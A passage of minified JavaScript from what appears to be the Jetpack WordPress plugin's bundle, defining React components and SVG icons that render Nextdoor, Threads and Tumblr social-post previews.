0-.219-.022-.505-.357-.282-.33-.581-.868-.852-1.619-.464-1.283-.79-3.034-.872-5.024h4.458Z&quot;,clipRule:&quot;evenodd&quot;})})}},30073(e,t,s){&quot;use strict&quot;;s.d(t,{p:()=&gt;n});var r=s(10790);function n(){return(0,r.jsx)(&quot;svg&quot;,{width:&quot;20&quot;,height:&quot;20&quot;,fill:&quot;none&quot;,viewBox:&quot;0 0 24 24&quot;,&quot;aria-hidden&quot;:&quot;true&quot;,children:(0,r.jsx)(&quot;path&quot;,{fill:&quot;currentColor&quot;,fillRule:&quot;evenodd&quot;,d:&quot;M13.275 8.752a1.5 1.5 0 0 1-2.55 0C9.75 7.18 8.719 5.617 6.565 6.074 5.248 6.352 4 7.433 4 9.644c0 2.153 1.348 4.592 4.259 7.236A28.475 28.475 0 0 0 12 19.74a28.475 28.475 0 0 0 3.741-2.86C18.651 14.236 20 11.797 20 9.643c0-2.21-1.25-3.29-2.564-3.57-2.155-.456-3.187 1.106-4.16 2.68Zm-2.581-3.48C7.634 2.58 2 4.217 2 9.643c0 2.996 1.85 5.934 4.914 8.717 1.478 1.343 3.1 2.585 4.839 3.575a.5.5 0 0 0 .494 0c1.739-.99 3.361-2.232 4.84-3.575C20.148 15.577 22 12.64 22 9.643c0-5.426-5.634-7.062-8.694-4.371A5.287 5.287 0 0 0 12 7.04a5.287 5.287 0 0 0-1.306-1.77Z&quot;,clipRule:&quot;evenodd&quot;})})}},78607(e,t,s){&quot;use strict&quot;;s.d(t,{l:()=&gt;n});var r=s(10790);function n(){return(0,r.jsx)(&quot;svg&quot;,{width:&quot;20&quot;,height:&quot;20&quot;,fill:&quot;none&quot;,viewBox:&quot;0 0 24 24&quot;,&quot;aria-hidden&quot;:&quot;true&quot;,children:(0,r.jsx)(&quot;path&quot;,{fill:&quot;currentColor&quot;,fillRule:&quot;evenodd&quot;,d:&quot;M11.617 2.076a1 1 0 0 1 1.09.217l9 9a1 1 0 0 1 0 1.414l-9 9A1 1 0 0 1 11 21v-4.436c-2.849.366-5.261 2.271-6.384 4.837a1 1 0 0 1-1.856-.06C2.338 20.182 2 18.86 2 17.5a9.959 9.959 0 0 1 9-9.951V3a1 1 0 0 1 .617-.924ZM13 5.414V8.5a1 1 0 0 1-1 1c-4.448 0-8 3.552-8 8 0 .31.023.625.066.94C5.905 16.067 8.776 14.5 12 14.5a1 1 0 0 1 1 1v3.086L19.586 12 13 5.414Z&quot;,clipRule:&quot;evenodd&quot;})})}},26396(e,t,s){&quot;use strict&quot;;s.d(t,{g:()=&gt;a});var r=s(76223),n=s(94302),o=s(10790);function a(e){return(0,o.jsx)(n.K,{name:&quot;&quot;,profileImage:&quot;&quot;,...e,description:&quot;&quot;,media:void 0,title:e.title||(0,r.X2)(e.description)})}},94302(e,t,s){&quot;use strict&quot;;s.d(t,{K:()=&gt;m});var r=s(27723),n=s(13022),o=s(50513),a=s(76223),i=s(28469),l=s(73192),c=s(28236),u=s(96739),d=s(84247),p=s(10569),h=(s(74587),s(10790));const __=r.__;function m({image:e,name:t,profileImage:s,description:r,neighborhood:m,media:g,title:f,url:b}){const v=!!g?.length;return(0,h.jsx)(&quot;div&quot;,{className:&quot;nextdoor-preview__wrapper&quot;,children:(0,h.jsx)(&quot;section&quot;,{className:&quot;nextdoor-preview__container &quot;+(v?&quot;has-media&quot;:&quot;&quot;),children:(0,h.jsxs)(&quot;div&quot;,{className:&quot;nextdoor-preview__content&quot;,children:[(0,h.jsxs)(&quot;div&quot;,{className:&quot;nextdoor-preview__header&quot;,children:[(0,h.jsx)(&quot;div&quot;,{className:&quot;nextdoor-preview__header--avatar&quot;,children:(0,h.jsx)(o._,{src:s})}),(0,h.jsxs)(&quot;div&quot;,{className:&quot;nextdoor-preview__header--details&quot;,children:[(0,h.jsx)(&quot;div&quot;,{className:&quot;nextdoor-preview__header--name&quot;,children:t||__(&quot;Account Name&quot;,&quot;jetpack&quot;)}),(0,h.jsxs)(&quot;div&quot;,{className:&quot;nextdoor-preview__header--meta&quot;,children:[(0,h.jsx)(&quot;span&quot;,{children:m||__(&quot;Neighborhood&quot;,&quot;jetpack&quot;)}),(0,h.jsx)(&quot;span&quot;,{children:&quot;•&quot;}),(0,h.jsx)(&quot;span&quot;,{children:(0,a.tX)(Date.now())}),(0,h.jsx)(&quot;span&quot;,{children:&quot;•&quot;}),(0,h.jsx)(p.f,{})]})]})]}),(0,h.jsxs)(&quot;div&quot;,{className:&quot;nextdoor-preview__body&quot;,children:[r?(0,h.jsxs)(&quot;div&quot;,{className:&quot;nextdoor-preview__caption&quot;,children:[(0,h.jsx)(&quot;span&quot;,{children:(0,h.jsx)(i.MW,{text:r,children:e=&gt;(0,a.x5)(e,{platform:&quot;nextdoor&quot;,maxChars:l.v})})}),!v&amp;&amp;b&amp;&amp;!r.includes(b)&amp;&amp;(0,h.jsxs)(h.Fragment,{children:[(0,h.jsx)(&quot;br&quot;,{}),(0,h.jsx)(&quot;br&quot;,{}),(0,h.jsx)(&quot;a&quot;,{href:b,rel:&quot;nofollow noopener noreferrer&quot;,target:&quot;_blank&quot;,children:b})]})]}):null,v?(0,h.jsx)(&quot;div&quot;,{className:&quot;nextdoor-preview__media&quot;,children:g.map((e,t)=&gt;(0,h.jsx)(&quot;div&quot;,{className:&quot;nextdoor-preview__media-item&quot;,children:e?.type?.startsWith(&quot;video/&quot;)?(0,h.jsx)(&quot;video&quot;,{controls:!0,children:(0,h.jsx)(&quot;source&quot;,{src:e.url,type:e.type})}):(0,h.jsx)(&quot;img&quot;,{alt:e.alt||&quot;&quot;,src:e.url})},`nextdoor-preview__media-item-${t}`))}):null,(0,h.jsxs)(&quot;article&quot;,{className:(0,n.A)(&quot;nextdoor-preview__card&quot;,{&quot;small-preview&quot;:!e||v}),children:[e?(0,h.jsx)(&quot;img&quot;,{className:&quot;nextdoor-preview__image&quot;,src:e,alt:&quot;&quot;}):(0,h.jsx)(d.z,{}),b?(0,h.jsxs)(&quot;div&quot;,{className:&quot;nextdoor-preview__description&quot;,children:[(0,h.jsx)(&quot;h2&quot;,{className:&quot;nextdoor-preview__description--title&quot;,children:f||(0,a.X2)(r)}),(0,h.jsx)(&quot;span&quot;,{className:&quot;nextdoor-preview__description--url&quot;,children:(0,a.GA)(b)})]}):null,v?(0,h.jsx)(&quot;div&quot;,{className:&quot;nextdoor-preview__card--chevron-wrapper&quot;,children:(0,h.jsx)(u.z,{})}):null]})]}),(0,h.jsx)(&quot;div&quot;,{className:&quot;nextdoor-preview__footer&quot;,children:(0,h.jsx)(c.$,{})})]})})})}},28469(e,t,s){&quot;use strict&quot;;s.d(t,{MW:()=&gt;l});var r=s(56427),n=s(27723),o=s(51609),a=s(76223),i=(s(47189),s(10790));const __=n.__;function l(e){const{text:t,children:s}=e,[n,l]=(0,o.useReducer)(e=&gt;!e,!1),c=(0,a.$J)(t);if(function(e){return Array.from(e).length}(c)&lt;=400)return(0,i.jsx)(i.Fragment,{children:s(t)});if(n)return(0,i.jsxs)(i.Fragment,{children:[s(t),&quot; &quot;,(0,i.jsx)(r.Button,{variant:&quot;link&quot;,className:&quot;social-previews__expand-toggle&quot;,onClick:l,children:__(&quot;See less&quot;,&quot;jetpack&quot;)})]});const u=function(e,t){const s=Array.from(e);if(s.length&lt;=t)return e;const r=s.slice(0,t).join(&quot;&quot;),n=r.lastIndexOf(&quot; &quot;),o=n&gt;t-80?n:r.length;return r.slice(0,o)}(c,400);return(0,i.jsxs)(i.Fragment,{children:[s(u),&quot;… &quot;,(0,i.jsx)(r.Button,{variant:&quot;link&quot;,className:&quot;social-previews__expand-toggle&quot;,onClick:l,children:__(&quot;See more&quot;,&quot;jetpack&quot;)})]})}},92917(e,t,s){&quot;use strict&quot;;s.d(t,{F:()=&gt;i});var r=s(51609),n=s(83476),o=s(10790);function a({className:e}){return(0,o.jsx)(&quot;span&quot;,{className:e,&quot;aria-hidden&quot;:&quot;true&quot;,style:{display:&quot;inline-flex&quot;,alignItems:&quot;center&quot;,justifyContent:&quot;center&quot;,backgroundColor:&quot;#e8eaed&quot;,color:&quot;#5f6368&quot;,borderRadius:&quot;50%&quot;},children:(0,o.jsx)(n.f,{style:{width:&quot;60%&quot;,height:&quot;60%&quot;}})})}function i({src:e,alt:t=&quot;&quot;,className:s,fallback:n=(0,o.jsx)(a,{className:s})}){const[i,l]=(0,r.useState)(&quot;&quot;),c=(0,r.useCallback)(e=&gt;{l(e.target.src)},[]);return e&amp;&amp;i!==e?(0,o.jsx)(&quot;img&quot;,{src:e,alt:t,onError:c,className:s}):n}},1795(e,t,s){&quot;use strict&quot;;s.d(t,{Z:()=&gt;i});var r=s(13022),n=s(76223),o=s(56678),a=s(10790);const i=({image:e,title:t,url:s})=&gt;{const i=(0,r.A)({&quot;threads-preview__card-has-image&quot;:!!e});return(0,a.jsx)(&quot;div&quot;,{className:&quot;threads-preview__card&quot;,children:(0,a.jsxs)(&quot;div&quot;,{className:i,children:[e&amp;&amp;(0,a.jsx)(&quot;img&quot;,{className:&quot;threads-preview__card-image&quot;,src:e,alt:&quot;&quot;}),(0,a.jsxs)(&quot;div&quot;,{className:&quot;threads-preview__card-body&quot;,children:[(0,a.jsx)(&quot;div&quot;,{className:&quot;threads-preview__card-url&quot;,children:(0,n.GA)(s||&quot;&quot;)}),(0,a.jsx)(&quot;div&quot;,{className:&quot;threads-preview__card-title&quot;,children:(0,o.c)(t)})]})]})})}},27068(e,t,s){&quot;use strict&quot;;s.d(t,{w:()=&gt;n});var r=s(10790);const n=()=&gt;(0,r.jsxs)(&quot;div&quot;,{className:&quot;threads-preview__footer&quot;,children:[(0,r.jsx)(&quot;span&quot;,{className:&quot;threads-preview__icon--like&quot;,children:(0,r.jsx)(&quot;svg&quot;,{role:&quot;img&quot;,viewBox:&quot;0 0 18 18&quot;,children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M1.34375 7.53125L1.34375 7.54043C1.34374 8.04211 1.34372 8.76295 1.6611 9.65585C1.9795 10.5516 2.60026 11.5779 3.77681 12.7544C5.59273 14.5704 7.58105 16.0215 8.33387 16.5497C8.73525 16.8313 9.26573 16.8313 9.66705 16.5496C10.4197 16.0213 12.4074 14.5703 14.2232 12.7544C15.3997 11.5779 16.0205 10.5516 16.3389 9.65585C16.6563 8.76296 16.6563 8.04211 16.6562 7.54043V7.53125C16.6562 5.23466 15.0849 3.25 12.6562 3.25C11.5214 3.25 10.6433 3.78244 9.99228 4.45476C9.59009 4.87012 9.26356 5.3491 9 5.81533C8.73645 5.3491 8.40991 4.87012 8.00772 4.45476C7.35672 3.78244 6.47861 3.25 5.34375 3.25C2.9151 3.25 1.34375 5.23466 1.34375 7.53125Z&quot;,strokeWidth:&quot;1.25&quot;})})}),(0,r.jsx)(&quot;span&quot;,{className:&quot;threads-preview__icon--reply&quot;,children:(0,r.jsx)(&quot;svg&quot;,{role:&quot;img&quot;,viewBox:&quot;0 0 18 18&quot;,children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M15.376 13.2177L16.2861 16.7955L12.7106 15.8848C12.6781 15.8848 12.6131 15.8848 12.5806 15.8848C11.3779 16.5678 9.94767 16.8931 8.41995 16.7955C4.94194 16.5353 2.08152 13.7381 1.72397 10.2578C1.2689 5.63919 5.13697 1.76863 9.75264 2.22399C13.2307 2.58177 16.0261 5.41151 16.2861 8.92429C16.4161 10.453 16.0586 11.8841 15.376 13.0876C15.376 13.1526 15.376 13.1852 15.376 13.2177Z&quot;,strokeLinejoin:&quot;round&quot;,strokeWidth:&quot;1.25&quot;})})}),(0,r.jsx)(&quot;span&quot;,{className:&quot;threads-preview__icon--repost&quot;,children:(0,r.jsxs)(&quot;svg&quot;,{role:&quot;img&quot;,viewBox:&quot;0 0 18 18&quot;,children:[(0,r.jsx)(&quot;path&quot;,{d:&quot;M6.41256 1.23531C6.6349 0.971277 7.02918 0.937481 7.29321 1.15982L9.96509 3.40982C10.1022 3.52528 10.1831 3.69404 10.1873 3.87324C10.1915 4.05243 10.1186 4.2248 9.98706 4.34656L7.31518 6.81971C7.06186 7.05419 6.66643 7.03892 6.43196 6.7856C6.19748 6.53228 6.21275 6.13685 6.46607 5.90237L7.9672 4.51289H5.20312C3.68434 4.51289 2.45312 5.74411 2.45312 7.26289V9.51289V11.7629C2.45312 13.2817 3.68434 14.5129 5.20312 14.5129C5.5483 14.5129 5.82812 14.7927 5.82812 15.1379C5.82812 15.4831 5.5483 15.7629 5.20312 15.7629C2.99399 15.7629 1.20312 13.972 1.20312 11.7629V9.51289V7.26289C1.20312 5.05375 2.99399 3.26289 5.20312 3.26289H7.85002L6.48804 2.11596C6.22401 1.89362 6.19021 1.49934 6.41256 1.23531Z&quot;}),(0,r.jsx)(&quot;path&quot;,{d:&quot;M11.5874 17.7904C11.3651 18.0545 10.9708 18.0883 10.7068 17.8659L8.03491 15.6159C7.89781 15.5005 7.81687 15.3317 7.81267 15.1525C7.80847 14.9733 7.8814 14.801 8.01294 14.6792L10.6848 12.206C10.9381 11.9716 11.3336 11.9868 11.568 12.2402C11.8025 12.4935 11.7872 12.8889 11.5339 13.1234L10.0328 14.5129H12.7969C14.3157 14.5129 15.5469 13.2816 15.5469 11.7629V9.51286V7.26286C15.5469 5.74408 14.3157 4.51286 12.7969 4.51286C12.4517 4.51286 12.1719 4.23304 12.1719 3.88786C12.1719 3.54269 12.4517 3.26286 12.7969 3.26286C15.006 3.26286 16.7969 5.05373 16.7969 7.26286V9.51286V11.7629C16.7969 13.972 15.006 15.7629 12.7969 15.7629H10.15L11.512 16.9098C11.776 17.1321 11.8098 17.5264 11.5874 17.7904Z&quot;})]})}),(0,r.jsx)(&quot;span&quot;,{className:&quot;threads-preview__icon--share&quot;,children:(0,r.jsxs)(&quot;svg&quot;,{role:&quot;img&quot;,viewBox:&quot;0 0 18 18&quot;,children:[(0,r.jsx)(&quot;path&quot;,{d:&quot;M15.6097 4.09082L6.65039 9.11104&quot;,strokeLinejoin:&quot;round&quot;,strokeWidth:&quot;1.25&quot;}),(0,r.jsx)(&quot;path&quot;,{d:&quot;M7.79128 14.439C8.00463 15.3275 8.11131 15.7718 8.33426 15.932C8.52764 16.071 8.77617 16.1081 9.00173 16.0318C9.26179 15.9438 9.49373 15.5501 9.95761 14.7628L15.5444 5.2809C15.8883 4.69727 16.0603 4.40546 16.0365 4.16566C16.0159 3.95653 15.9071 3.76612 15.7374 3.64215C15.5428 3.5 15.2041 3.5 14.5267 3.5H3.71404C2.81451 3.5 2.36474 3.5 2.15744 3.67754C1.97758 3.83158 1.88253 4.06254 1.90186 4.29856C1.92415 4.57059 2.24363 4.88716 2.88259 5.52032L6.11593 8.7243C6.26394 8.87097 6.33795 8.94431 6.39784 9.02755C6.451 9.10144 6.4958 9.18101 6.53142 9.26479C6.57153 9.35916 6.59586 9.46047 6.64451 9.66309L7.79128 14.439Z&quot;,strokeLinejoin:&quot;round&quot;,strokeWidth:&quot;1.25&quot;})]})})]})},18350(e,t,s){&quot;use strict&quot;;s.d(t,{Y:()=&gt;a});var r=s(27723),n=s(76223),o=s(10790);const __=r.__,a=({name:e,date:t})=&gt;{const s=t||new Date;return(0,o.jsxs)(&quot;div&quot;,{className:&quot;threads-preview__header&quot;,children:[(0,o.jsx)(&quot;span&quot;,{className:&quot;threads-preview__name&quot;,children:e||__(&quot;Account Name&quot;,&quot;jetpack&quot;)}),(0,o.jsx)(&quot;time&quot;,{className:&quot;threads-preview__date&quot;,dateTime:s.toISOString(),children:(0,n.vI)(s)})]})}},56678(e,t,s){&quot;use strict&quot;;s.d(t,{_:()=&gt;n,c:()=&gt;o});var r=s(76223);const n=500,o=e=&gt;(0,r.RA)((0,r.f5)(120),(0,r.ZT)(120))((0,r.$J)(e))||&quot;&quot;},8450(e,t,s){&quot;use strict&quot;;s.d(t,{G:()=&gt;a});var r=s(27723),n=s(59028),o=s(10790);const __=r.__,a=e=&gt;e.image?(0,o.jsx)(n.s,{...e,caption:&quot;&quot;,media:void 0}):(0,o.jsx)(&quot;p&quot;,{className:&quot;social-preview__section-desc&quot;,children:__(&quot;Threads link preview requires an image to be set for the post. Please add an image to see the preview.&quot;,&quot;jetpack&quot;)})},97241(e,t,s){&quot;use strict&quot;;s.d(t,{$:()=&gt;a});var r=s(13022),n=s(51609),o=s(10790);const a=({media:e})=&gt;{const t=e.filter(e=&gt;e.type.startsWith(&quot;image/&quot;)||e.type.startsWith(&quot;video/&quot;)).filter((e,t,s)=&gt;0===t||!s[0].type.startsWith(&quot;video/&quot;)&amp;&amp;&quot;image/gif&quot;!==s[0].type&amp;&amp;(!e.type.startsWith(&quot;video/&quot;)&amp;&amp;&quot;image/gif&quot;!==e.type)).slice(0,4);if(0===t.length)return null;const s=t[0].type.startsWith(&quot;video/&quot;),a=(0,r.A)([&quot;threads-preview__media&quot;,&quot;threads-preview__media-children-&quot;+t.length]);return(0,o.jsx)(&quot;div&quot;,{className:a,children:t.map((e,t)=&gt;(0,o.jsx)(n.Fragment,{children:s?(0,o.jsx)(&quot;video&quot;,{controls:!0,children:(0,o.jsx)(&quot;source&quot;,{src:e.url,type:e.type})}):(0,o.jsx)(&quot;img&quot;,{alt:e.alt||&quot;&quot;,src:e.url})},`threads-preview__media-item-${t}`))})}},59028(e,t,s){&quot;use strict&quot;;s.d(t,{s:()=&gt;p});var r=s(76223),n=s(28469),o=s(1795),a=s(27068),i=s(18350),l=s(56678),c=s(97241),u=s(34413),d=(s(3269),s(10790));const p=({caption:e,date:t,image:s,media:p,name:h,profileImage:m,showThreadConnector:g,title:f,url:b})=&gt;{const v=!!p?.length,k=b&amp;&amp;s&amp;&amp;!v;return(0,d.jsx)(&quot;div&quot;,{className:&quot;threads-preview__wrapper&quot;,children:(0,d.jsxs)(&quot;div&quot;,{className:&quot;threads-preview__container&quot;,children:[(0,d.jsx)(u.B,{profileImage:m,showThreadConnector:g}),(0,d.jsxs)(&quot;div&quot;,{className:&quot;threads-preview__main&quot;,children:[(0,d.jsx)(i.Y,{name:h,date:t}),(0,d.jsxs)(&quot;div&quot;,{className:&quot;threads-preview__content&quot;,children:[e?(0,d.jsx)(&quot;div&quot;,{className:&quot;threads-preview__text&quot;,children:(0,d.jsx)(n.MW,{text:e,children:e=&gt;(0,r.x5)(e,{platform:&quot;threads&quot;,maxChars:l._})})}):null,v?(0,d.jsx)(c.$,{media:p}):null,k?(0,d.jsx)(o.Z,{image:s,title:f||&quot;&quot;,url:b}):null]}),(0,d.jsx)(a.w,{})]})]})})}},34413(e,t,s){&quot;use strict&quot;;s.d(t,{B:()=&gt;a});var r=s(27723),n=s(50513),o=s(10790);const __=r.__,a=({profileImage:e,showThreadConnector:t})=&gt;(0,o.jsxs)(&quot;div&quot;,{className:&quot;threads-preview__sidebar&quot;,children:[(0,o.jsx)(&quot;div&quot;,{className:&quot;threads-preview__profile-image&quot;,children:(0,o.jsx)(n._,{alt:__(&quot;Threads profile image&quot;,&quot;jetpack&quot;),src:e})}),t&amp;&amp;(0,o.jsx)(&quot;div&quot;,{className:&quot;threads-preview__connector&quot;})]})},42475(e,t,s){&quot;use strict&quot;;s.d(t,{ZH:()=&gt;o,fO:()=&gt;a});var r=s(76223);const n=4096,o=e=&gt;(0,r.RA)((0,r.f5)(1e3),(0,r.ZT)(1e3))((0,r.$J)(e))||&quot;&quot;,a=e=&gt;{let t=e,s=t.indexOf(&quot;\x3c!--&quot;);for(;-1!==s;){const e=t.indexOf(&quot;--\x3e&quot;,s);if(-1===e){t=t.substring(0,s);break}t=t.substring(0,s)+t.substring(e+3),s=t.indexOf(&quot;\x3c!--&quot;)}return t=t.replace(/&lt;\/p&gt;/g,&quot;&lt;/p&gt;\n\n&quot;),(0,r.RA)((0,r.f5)(n),(0,r.ZT)(n))((0,r.$J)(t))||&quot;&quot;}},86587(e,t,s){&quot;use strict&quot;;s.d(t,{Z:()=&gt;c});var r=s(27723),n=s(76223),o=s(42475),a=s(21523),i=s(70793),l=(s(12069),s(10790));const __=r.__,c=({title:e,description:t,image:s,user:r,url:c})=&gt;{const u=r?.avatarUrl;return(0,l.jsxs)(&quot;div&quot;,{className:&quot;tumblr-preview__post&quot;,children:[u&amp;&amp;(0,l.jsx)(&quot;img&quot;,{className:&quot;tumblr-preview__avatar&quot;,src:u,alt:&quot;&quot;}),(0,l.jsxs)(&quot;div&quot;,{className:&quot;tumblr-preview__card&quot;,children:[(0,l.jsx)(i.A,{user:r}),(0,l.jsxs)(&quot;div&quot;,{className:&quot;tumblr-preview__window&quot;,children:[s&amp;&amp;(0,l.jsxs)(&quot;div&quot;,{className:&quot;tumblr-preview__window-top&quot;,children:[(0,l.jsx)(&quot;div&quot;,{className:&quot;tumblr-preview__overlay&quot;,children:(0,l.jsx)(&quot;div&quot;,{className:&quot;tumblr-preview__title&quot;,children:(0,o.ZH)(e)})}),(0,l.jsx)(&quot;img&quot;,{className:&quot;tumblr-preview__image&quot;,src:s,alt:__(&quot;Tumblr preview thumbnail&quot;,&quot;jetpack&quot;)})]}),(0,l.jsxs)(&quot;div&quot;,{className:&quot;tumblr-preview__window-bottom &quot;+(s?&quot;&quot;:&quot;is-full&quot;),children:[!s&amp;&amp;(0,l.jsx)(&quot;div&quot;,{className:&quot;tumblr-preview__title&quot;,children:(0,o.ZH)(e)}),t&amp;&amp;s&amp;&amp;(0,l.jsx)(&quot;div&quot;,{className:&quot;tumblr-preview__description&quot;,children:(0,o.fO)(t)}),c&amp;&amp;(0,l.jsx)(&quot;div&quot;,{className:&quot;tumblr-preview__site-name&quot;,children:(0,n.GA)(c)})]})]}),(0,l.jsx)(a.A,{})]})]})}},21523(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(27723),n=s(17712),o=(s(6692),s(10790));const __=r.__,a=()=&gt;(0,o.jsxs)(&quot;div&quot;,{className:&quot;tumblr-preview__post-actions&quot;,children:[(0,o.jsxs)(&quot;div&quot;,{className:&quot;tumblr-preview__post-manage-actions&quot;,children:[(0,o.jsxs)(&quot;div&quot;,{className:&quot;tumblr-preview__post-actions-blaze&quot;,children:[(0,o.jsx)(n.A,{name:&quot;blaze&quot;}),&quot; Blaze&quot;]}),(0,o.jsx)(&quot;ul&quot;,{children:[{icon:&quot;delete&quot;,
// translators: &quot;Delete&quot; action on a Tumblr post
label:__(&quot;Delete&quot;,&quot;jetpack&quot;)},{icon:&quot;edit&quot;,
// translators: &quot;Edit&quot; action on a Tumblr post
label:__(&quot;Edit&quot;,&quot;jetpack&quot;)}].map(({icon:e,label:t})=&gt;(0,o.jsx)(&quot;li&quot;,{&quot;aria-label&quot;:t,children:(0,o.jsx)(n.A,{name:e})},e))})]}),(0,o.jsxs)(&quot;div&quot;,{className:&quot;tumblr-preview__post-social-actions&quot;,children:[(0,o.jsx)(&quot;div&quot;,{children:
// translators: count of notes on a Tumblr post
__(&quot;0 notes&quot;,&quot;jetpack&quot;)}),(0,o.jsx)(&quot;ul&quot;,{children:[{icon:&quot;share&quot;,
// translators: &quot;Share&quot; action on a Tumblr post
label:__(&quot;Share&quot;,&quot;jetpack&quot;)},{icon:&quot;reply&quot;,
// translators: &quot;Reply&quot; action on a Tumblr post
label:__(&quot;Reply&quot;,&quot;jetpack&quot;)},{icon:&quot;reblog&quot;,
// translators: &quot;Reblog&quot; action on a Tumblr post
label:__(&quot;Reblog&quot;,&quot;jetpack&quot;)},{icon:&quot;like&quot;,
// translators: &quot;Like&quot; action on a Tumblr post
label:__(&quot;Like&quot;,&quot;jetpack&quot;)}].map(({icon:e,label:t})=&gt;(0,o.jsx)(&quot;li&quot;,{&quot;aria-label&quot;:t,children:(0,o.jsx)(n.A,{name:e})},e))})]})]})},70793(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(27723),n=s(17712),o=(s(95178),s(10790));const __=r.__,a=({user:e})=&gt;(0,o.jsxs)(&quot;div&quot;,{className:&quot;tumblr-preview__post-header&quot;,children:[(0,o.jsx)(&quot;div&quot;,{className:&quot;tumblr-preview__post-header-username&quot;,children:e?.displayName||
// translators: username of a fictional Tumblr User
__(&quot;anonymous-user&quot;,&quot;jetpack&quot;)}),(0,o.jsx)(n.A,{name:&quot;ellipsis&quot;})]})},17712(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;n});s(13951);var r=s(10790);const n=({name:e})=&gt;{let t;switch(e){case&quot;blaze&quot;:t=(0,r.jsx)(&quot;svg&quot;,{viewBox:&quot;0 0 25 22&quot;,children:(0,r.jsx)(&quot;path&quot;,{d:&quot;m7.5059-0.24414c-0.79843 0.057223-1.2169 0.88587-1.1635 1.6128-0.2266 2.0449-1.4898 3.8696-3.1975 4.9778-3.0182 2.414-4.2201 6.8066-2.8033 10.411 0.92417 2.4679 2.9589 4.5674 5.4768 5.3928 0.95914 0.16102 1.7233-0.94358 1.3074-1.8059-0.11578-0.51062-0.17482-0.96516-0.17845-1.487 1.0413 1.5607 2.5484 2.8986 4.341 3.4975 1.0396-0.0154 1.98-0.64458 2.8516-1.1608 3.3821-2.1786 4.9604-6.7097 3.6597-10.518-0.49144-1.4599-1.2948-2.8935-2.5028-3.8698-0.7512-0.45498-1.661 0.09677-1.9202 0.86038-0.12274 0.16822-0.70352 1.1955-0.6191 0.61976 0.25488-3.4397-1.6789-7.0066-4.8123-8.4958-0.14322-0.037843-0.292-0.049464-0.43945-0.035156zm1.0586 3.5605c1.8947 2.0016 2.2326 5.1984 0.89062 7.5879-0.38498 0.96148 0.71762 2.0063 1.6567 1.5681 1.4159-0.4624 2.6998-1.3259 3.6577-2.4665 1.6442 2.5888 1.1465 6.2819-1.0629 8.3379-0.62378 0.60782-1.3666 1.0945-2.1754 1.4179-1.9543-0.989-3.3534-3.0966-3.5625-5.3125-0.25636-1.0253-1.81-1.2013-2.2852-0.25781-0.75058 1.3054-1.1846 2.7948-1.2305 4.3008-2.2396-1.9852-2.8468-5.4435-1.4609-8.0527 0.58926-1.239 1.651-2.13 2.724-2.9329 1.2958-1.1271 2.2791-2.62 2.7682-4.2683l0.071578 0.069832z&quot;})});break;case&quot;delete&quot;:t=(0,r.jsxs)(&quot;svg&quot;,{viewBox:&quot;0 0 14 17&quot;,children:[(0,r.jsx)(&quot;path&quot;,{d:&quot;M12 5v9c.1.7-.3 1-1 1H3c-.5 0-.9-.3-1-1V5c0-.6-.4-1-1-1-.5 0-1 .4-1 1v9.5C0 16.1 1.4 17 3 17h8c1.8 0 3-.8 3-2.5V5c0-.6-.5-1-1-1-.6 0-1 .5-1 1z&quot;}),(0,r.jsx)(&quot;path&quot;,{d:&quot;M4 12s0 1 1 1 1-1 1-1V5c0-.5-.4-1-1-1-.5 0-1 .5-1 1v7zm4 0s0 1 1 1 1-1 1-1V5c0-.5-.4-1-1-1-.5 0-1 .5-1 1v7zm5-10c.5 0 1-.4 1-1 0-.5-.4-.9-1-1H1C.5.1 0 .5 0 1c0 .6.6 1 1.1 1H13z&quot;})]});break;case&quot;edit&quot;:t=(0,r.jsx)(&quot;svg&quot;,{viewBox:&quot;0 0 17.6 17.6&quot;,children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M5.3 13.8l-2.1.7.7-2.1L10.3 6l1.4 1.4-6.4 6.4zm6.4-9.3l-1.4-1.4-1.4 1.4-6.7 6.7-.2.5-2 5.9 3.8-1.3 2.1-.7.4-.1.3-.3 7.8-7.8c.1 0-2.7-2.9-2.7-2.9zm5.6-1.4L14.5.3c-.4-.4-1-.4-1.4 0l-1.4 1.4L15.9 6l1.4-1.4c.4-.5.4-1.1 0-1.5&quot;})});break;case&quot;share&quot;:t=(0,r.jsx)(&quot;svg&quot;,{viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M12.6173 1.07612C12.991 0.921338 13.4211 1.00689 13.7071 1.29289L22.7071 10.2929C23.0832 10.669 23.0991 11.2736 22.7433 11.669L13.7433 21.669C13.4663 21.9767 13.0283 22.082 12.6417 21.9336C12.2552 21.7853 12 21.414 12 21V16H11.5C7.31775 16 3.92896 18.2486 2.95256 21.3044C2.80256 21.7738 2.33292 22.064 1.84598 21.9881C1.35904 21.9122 1 21.4928 1 21V18.5C1 12.3162 5.88069 7.27245 12 7.01067V2C12 1.59554 12.2436 1.2309 12.6173 1.07612ZM14 4.41421V8C14 8.55228 13.5523 9 13 9H12.5C7.64534 9 3.64117 12.6414 3.06988 17.3419C5.09636 15.2366 8.18218 14 11.5 14H13C13.5523 14 14 14.4477 14 15V18.394L20.622 11.0362L14 4.41421Z&quot;})});break;case&quot;reply&quot;:t=(0,r.jsx)(&quot;svg&quot;,{viewBox:&quot;0 0 17 17&quot;,children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M8.7 0C4.1 0 .4 3.7.4 8.3c0 1.2.2 2.3.7 3.4-.2.6-.4 1.5-.7 2.5L0 15.8c-.2.7.5 1.4 1.2 1.2l1.6-.4 2.4-.7c1.1.5 2.2.7 3.4.7 4.6 0 8.3-3.7 8.3-8.3C17 3.7 13.3 0 8.7 0zM15 8.3c0 3.5-2.8 6.3-6.4 6.3-1.2 0-2.3-.3-3.2-.9l-3.2.9.9-3.2c-.5-.9-.9-2-.9-3.2.1-3.4 3-6.2 6.5-6.2S15 4.8 15 8.3z&quot;})});break;case&quot;reblog&quot;:t=(0,r.jsx)(&quot;svg&quot;,{viewBox:&quot;0 0 17 18.1&quot;,children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M12.8.2c-.4-.4-.8-.2-.8.4v2H2c-2 0-2 2-2 2v5s0 1 1 1 1-1 1-1v-4c0-1 .5-1 1-1h9v2c0 .6.3.7.8.4L17 3.6 12.8.2zM4.2 17.9c.5.4.8.2.8-.3v-2h10c2 0 2-2 